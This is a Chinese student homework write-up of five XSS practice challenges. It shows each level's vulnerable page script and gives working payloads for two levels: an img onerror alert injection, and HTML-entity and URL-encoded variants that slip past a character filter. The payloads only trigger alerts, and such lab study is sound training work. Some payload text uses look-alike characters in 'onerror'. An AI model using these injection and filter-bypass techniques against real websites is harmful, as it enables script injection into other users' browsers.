第三次作业

目录

第一关Ma Spaghet!

第二关jefff

第三关Ugandan Knuckles

第四关Ricardo Milos

第五关Ah That's Hawt

---

第一关Ma Spaghet!

<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

未传参

传任意参数

<img src='1' οnerrοr='alert(1337)'>

第二关jefff

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)    ---其中的动作为给变量ma赋值。
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

第三关Ugandan Knuckles

<!-- Challenge -->
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

第四关Ricardo Milos

<!-- Challenge -->
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>
 利用form表单的两秒action提交

第五关Ah That's Hawt

<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>
 markassbrownlee=<img src=1 οnerrοr="alert(1)">
实体编码：
markassbrownlee=<img src=1 οnerrοr="alert&#x0028;&#x0031;&#x0029;">
urlcode编码：
markassbrownlee=<img src=1 οnerrοr="alert%26%23x0028%3B%26%23x0031%3B%26%23x0029%3B">
 
当参数在url中传递过去后会解码，漏出实体编码，实体编码就可以绕过过滤传递给h2正常执行。